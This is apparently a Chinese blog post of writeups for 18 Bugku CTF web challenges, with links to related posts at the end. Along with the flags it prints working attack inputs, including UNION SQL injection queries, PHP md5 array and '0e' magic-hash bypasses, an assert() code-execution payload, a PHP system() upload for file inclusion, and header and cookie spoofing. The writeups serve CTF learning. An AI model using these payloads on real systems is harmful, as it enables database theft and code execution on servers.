2019.2.10

过年休息归来,继续做题。

bugku的web题,地址:https://ctf.bugku.com/challenges

1.

http://123.206.87.240:8002/web16/

提示是备份,不由自主想到bak。这里可以扫路径或者自己多试试:

http://123.206.87.240:8002/web16/index.php.bak 就是备份,直接保存下来。

打开后是一段源代码:

大概意思就是,获取key1和key2,但是会过滤掉你输入的key。

然后如果两个key的md5相等,且两个key本身不相等,就会打印出flag的值。

在这里可以用 kekeyy1 和 kekeyy2来绕过这个过滤。

而在php中,md5函数无法处理数组,返回的都是null,两个null也是相等。

所以构造payload:

http://123.206.87.240:8002/web16/?kekeyy1[]=sss&kekeyy2[]=xxx

(key后面的值随便写就ok)

Bugku{OH_YOU_FIND_MY_MOMY}

2.

http://123.206.87.240:8002/chengjidan/

输入1的时候是这样(这个submit是post方式)

加个'

这里猜下,总共四列 (名字,三科目)

1' union select 1,2,3,4#

都有回显,于是 构造 -1' union select 1,2,3,database()#   (用1爆不出来)

获取数据库名称:

之后通过 -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#  得到表名fl4g,sc

然后获取flag中的字段,这里需要16进制绕过一下:

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#

所以我们最终要获取的就是 skctf_flag数据库中 fl4g表中 skctf_flag字段的值。

构造payload;

-1' union select 1,2,3,skctf_flag from fl4g#
BUGKU{Sql_INJECT0N_4813drd8hz4}
3.
http://123.206.87.240:8002/qiumingshan/

这道题应该就是 脚本提交post数据的方式,还需要在两秒内。就得获取页面上的数字和运算法则。

所以直接脚本:

mport requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)  

 其中用到正则表达式,其实就是匹配 十进制数加上四则运算符号加上十进制数 这样的形式。
然后直接用python 内置的 eval方法,可以直接把文本提取为计算式。
至于为什么要post value,可以多刷新几遍网页:
最后运行脚本:

Bugku{YOU_DID_IT_BY_SECOND}

4.
http://123.206.87.240:8002/web6/
查看页面源代码也没什么值得注意的,抓包试试。

放到repeater中 go一下试试:

多go几次,发现每次的flag都不一样。做到这步大概就是得写脚本了。思路就是 提取 header中的flag值,然后构造 margin = flag值 这样的数据,post一下,获得返回内容就能得到flag。

脚本:

import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
txt = base64.b64decode(flag)
txt = txt[txt.index(":") + 2:]
txt = base64.b64decode(txt)
data = {'margin': txt}
ans = req.post(url, data)
print ans.content  
 
这里要注意的是,flag是base64加密,解密后还是一个base64,需要进行两次解密。 这个在py2.x可以运行,py3需要将byte与str进行转换。
5.

http://123.206.87.240:8002/web11/

打开后这样,字符没什么意义,页面源代码也没其他的东西。

看url  filename后面的好像是base64编码:

解码:

那就根据这个原理访问其他页面,比如要访问index.php,就先把它base64加密:

filename =aW5kZXgucGhw

访问后页面是空的,查看源代码是这样的:

猜想大概是这个 line= 起到作用,

不妨写个脚本跑出来所有代码:

import requests
a=30
for i in range(a):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text

  

得到的代码:

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

  从代码后半段可以看到,有一个keys.php的页面,应该是我们想要的。而且还有个判断,就是我们的cookies 要等于 margin

keys.php base64加密后:a2V5cy5waHA=

抓个包,然后放到repeater里面go一下:

KEY{key_keys}

6.

http://123.206.87.240:8006/test/hello.php

打开后查看源代码:

然后直接访问 ...../test/1p.html  (查看源代码的页面 view code)

发现一段base64 解密:

解密后是段php:

";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
} ?>

  尝试直接访问 f412a3g.txt (还是上面的那种访问方式)

...../test/f412a3g.txt

flag{tHis_iS_THe_fLaG}

7.

http://123.206.87.240:8010/


打开后没什么可利用的信息,那就好好看看给的提示:

<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,assert有代码执行漏洞。

所以这里构造payload:

?s=print_r(scandir('./'))  (扫描当前目录并按数组形式输出)

这里直接访问 f94lag.txt就行了:

BUGKU{bugku_web_009801_a}

8.

对于正则表达式我是不了解的。。。详情学习了这篇文章,写得非常的细致:

https://blog.csdn.net/qq_26090065/article/details/81605837

key is: KEY{0x0SIOPh550afc}

9.

http://123.206.31.85:49162/

打开后不禁想起了自己的前女友=。=。。。

查看页面源代码:

打开这个code.txt

和之前的一道题蛮像的,还是php 中md5函数无法对数组进行运算。

构造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

10.

http://123.206.31.85:49163/

sql约束攻击 大多就是 字符串长度的约束
比如 user = admin 1
和 uset = admin 会被数据库识别成一样的 (看它的约束条件是什么样)

所以这道题,先注册一个 admin 的账号(有个空格,你注册几个空格的都可以)

然后用admin登陆,用你注册的密码就行了:

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

11.


http://123.206.87.240:9009/from.php

打开后这样:

看页面源代码也没别的东西,猜测是抓包改下头部什么的,改成外国的,或者谷歌啥的。

这里抓包,修改 Referer 为 https://www.google.com 就行了:

flag{bug-ku_ai_admin}

12.

这里找了下 md5碰撞的原理:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

0e开头的md5和原值:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

所以构造a= 以上的一种 就可以:

比如:

http://123.206.87.240:9009/md5.php?a=s878926199a

flag{md5_collision_is_easy}

13.

http://123.206.87.240:8002/localhost/

页面源代码没有东西。他既然说本地访问了,那就抓个包 用 X-Forward-For: 127.0.0.1试试;

flag{loc-al-h-o-st1}

14.

http://123.206.87.240:8002/web7/

代码意思就是,id需要等于margin,然后用户名和密码不能相同,但是sha1后要相同(类似于md5)

所以还是用数组的方式绕过,要注意passwd 是需要post的,所以需要用到hackbar:

Flag: flag{HACK_45hhs_213sDD}

15.

打开后这样:

刚开始以为题目坏了。。看到最近也有人解答出来,就知道事情不简单。

扫下后台把,发现了robot.txt

进入这个 resus1.php:

下面很明显,x需要等于password才行。

蒙一个admin:

搞定:

flag(ctf_0098_lkji-s)

16.

因为比较懒,直接尝试sqlmap 跑 forms形式的:

flag{ed6b28e684817d9efcaf802979e57aea}

17.

查看页面代码注释:

这里上传文件包含的php (用图片马什么的不好使。。。)

<script language=php>system("ls")</script>   新建一个文档,然后改成jpg后缀。

然后访问这个地址,要注意还是用 file= 的方式:

然后直接访问那个 长长的文件就行了:

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

18.

刚开始以为是sql注入,查路径什么的,看源代码也都没有,login点了确实没反应。

后来才知道,原来是传参,/?hint=1

这里有个坑就是 key不是下面那一串,判断的时候也 key的值是 NULL 也就是 cookie要等于 NULL的序列化的结果:

所以就抓下包,然后改cookie 就好了:

flag{unserialize_by_virink}

写到这。。。剩下题也太难了8.。。

ctf题目writeup(7)的更多相关文章

  1. ctf题目writeup(9)

    继续刷题,找到一个 什么 蓝鲸安全的ctf平台 地址:http://whalectf.xin/challenges (话说这些ctf平台长得好像) 1. 放到converter试一下: 在用十六进制转 ...

  2. ctf题目writeup(6)

    2019.2.2 依旧是bugku上面的题目,地址:https://ctf.bugku.com/challenges 1. 解压后是60多个out.zip,都是真加密,里面都是1kb的data.txt ...

  3. ctf题目writeup(5)

    2019.2.1 今天继续bugku的隐写杂项题:题目链接:https://ctf.bugku.com/challenges 1. 这道题下载后用wireshark打开...看了好久也没看出个所以然, ...

  4. ctf题目writeup(4)

    2019.1.31 题目:这次都是web的了...(自己只略接触隐写杂项web这些简单的东西...) 题目地址:https://www.ichunqiu.com/battalion 1. 打开链接: ...

  5. ctf题目writeup(1)

    2019/1/28 题目来源:爱春秋 https://www.ichunqiu.com/battalion?t=1 1. 该文件是一个音频文件: 首先打开听了一下,有短促的长的....刚开始以为是摩斯 ...

  6. ctf题目writeup(8)

    2019.2.11 南京邮电的ctf平台: 地址http://ctf.nuptzj.cn/challenges# 他们好像搭新的平台了...我注册弄了好半天... 1. 签到题,打开网址: 查看一下页 ...

  7. ctf题目writeup(3)

    题目地址: https://www.ichunqiu.com/battalion 1. 这个是个mp3,给的校验是为了下载下来的. 下来之后丢进audicity中 放大后根据那个音块的宽度来确定是 . ...

  8. ctf题目writeup(2)

    2019.1.29 题目地址: https://www.ichunqiu.com/battalion 1. 点开链接: include "flag.php";$a = @$_REQ ...

  9. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

随机推荐

  1. Python学习笔记之发展史、简介以及特点

    Python发展史 Python 是由 Guido van Rossum 在八十年代末和九十年代初,在荷兰国家数学和计算机科学研究所设计出来的. Python 本身也是由诸多其他语言发展而来的,这包括 ...

  2. Nginx+Tomcat在Windows下做负载均衡

    一. 为什么需要对Tomcat服务器做负载均衡 Tomcat服务器作为一个Web服务器,其并发数在300-500之间,如果有超过500的并发数便会出现Tomcat不能响应新的请求的情况,严重影响网站的 ...

  3. Python——追加学习笔记(四)

    函数 1.python里的函数可以返回一个值或者对象,知识在返回一个容器对象的时候有点不同,看起来像是能返回多个对象. >>> def bar(): ... return 'abc' ...

  4. Oracle服务端及客户端搭建帮助文档

    Oracle服务端及客户端搭建帮助文档 目录 简介 Oracle服务端安装 Oracle客户端安装 PLSQL安装 登录测试 系统配置修改 用户操作 解锁账户.密码 创建账户及密码 配置监听文件 监听 ...

  5. 第二次团队Scrum

    长大一条龙之登录注册 一.设计详情 本次冲刺我们团队实现了长大一条龙的登录注册功能,我们的这个项目严格遵守MVC架构,采用前后端分离的策略.我们将登录注册分为二层,DAO层:负责与数据进行交互,读写数 ...

  6. ZOJ 3379 Master Spark

    计算出中轴能覆盖到某个点的极角范围,最大覆盖次数即是答案. 首先把中轴和点重合,此时中轴的角度为theta = atan(y/x), 然后以原点为圆心旋转点和抛物线相交求出之间的夹角, 把x = a* ...

  7. 基于bootstrap模态框的二次封装

    一.参数设置 $.beamDialog(options); var defaults = { title:'标题', content:'内容', showCloseButton:true, //显示关 ...

  8. Java字符串常量池是什么?为什么要有这种常量池?

    简单介绍 Java中的字符串常量池(String Pool)是存储在Java堆内存中的字符串池.我们知道String是java中比较特殊的类,我们可以使用new运算符创建String对象,也可以用双引 ...

  9. PS快捷键和常用小知识

    1.快捷键: ctrl+引号 隐藏参考线 ctrl+冒号 隐藏网格线 ctrl+alt 复制选中区域 ctrl+alt+向下箭头 针对单行和单列选框复制移动 ctrl+shift+i 反向选择区域 c ...

  10. HDU 1221 Rectangle and Circle(判断圆和矩形是不是相交)

    传送门: http://acm.hdu.edu.cn/showproblem.php?pid=1221 Rectangle and Circle Time Limit: 2000/1000 MS (J ...